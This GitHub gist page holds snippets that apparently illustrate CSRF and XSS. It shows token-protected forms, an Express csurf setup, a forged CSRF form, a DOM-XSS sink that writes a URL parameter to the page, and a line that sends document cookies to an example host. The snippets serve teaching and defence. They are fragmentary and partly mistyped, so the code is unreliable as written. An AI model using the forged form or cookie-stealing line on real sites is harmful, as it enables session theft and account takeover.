Skip to content

Instantly share code, notes, and snippets.

<form action=’/api/payment’ method=’post’>
<input type=’hidden" name=’CSRFToken’ value=’WfF1szMUHhiokx9AHFply5L2xAOfjRkE’>
</form>
<form action='/profile' method='POST'>
<input type='hidden' name='_csrf' value='<%= csrfToken %>'>
<label for='name'> Name:</label>
<input type='text' name='name'>
<button type='submit'> Update </button>
</form>
@zlatkov
zlatkov / index.js
Last active February 8, 2021 14:11
const express = require('express');
const bodyParser = require('body-parser');
const csrf = require('csurf')
const cookieParser = require('cookie-parser')
const app = express();
const csrfProtection = csrf({ cookie: true });
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.set('view engine', 'ejs');
<!DOCTYPE HTML>
<html>
<head></head>
<body>
<form method='post' action='htps://example.com/api/profile'>
<input type='hidden' name='username' value="The Attacker">
<input type='hidden' name='email' value="[email protected]">
</form>
<script>
<!DOCTYPE HTML>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
$.get('htps://example.com/api/profile', function(data) {
$('#username').val(data.name);
$('#useremail').val(data.email);
});
</script>
<html>
<head>
<title> Dashboard </title>
</head>
<body>
<script>
let startPosition = document.URL.indexOf("role=") + 5;
let userRole = document.URL.substring(startPosition,document.URL.length);
document.write(userRole);
</script>
<div> You searched for: <script>/*Malicious code*/</script> </div>
<div> Results: </div>
<script>/*Malicious code*/</script>
<div> You searched for: javascript </div>
<div> Results: </div>
<script> window.location = ‘https://example.com/?user_data=’ + document.cookies; </script>